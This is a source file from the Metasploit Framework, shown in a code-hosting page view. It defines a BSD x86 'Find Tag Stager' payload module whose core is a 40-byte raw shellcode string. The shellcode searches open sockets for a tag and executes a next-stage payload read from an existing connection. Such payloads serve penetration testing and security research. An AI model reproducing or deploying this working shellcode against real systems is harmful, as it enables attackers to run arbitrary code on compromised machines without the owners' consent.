/
find_tag.rb
43 lines (38 loc) · 1005 Bytes
/
find_tag.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# FindTag
# -------
#
# BSD find tag stager.
#
###
module MetasploitModule
CachedSize = 40
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Find Tag Stager',
'Description' => 'Use an established connection',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::FindTag,
'Stager' =>
{
'Offsets' =>
{
'TAG' => [ 0x1b, 'RAW' ],
},
'Payload' =>
"\x31\xd2\x52\x89\xe6\x52\x52\xb2\x80\x52\xb6\x0c\x52\x56\x52\x52" +
"\x66\xff\x46\xe8\x6a\x1d\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75" +
"\xef\xfc\xad\x5a\x5f\x5a\xff\xe6"
}
))
end
end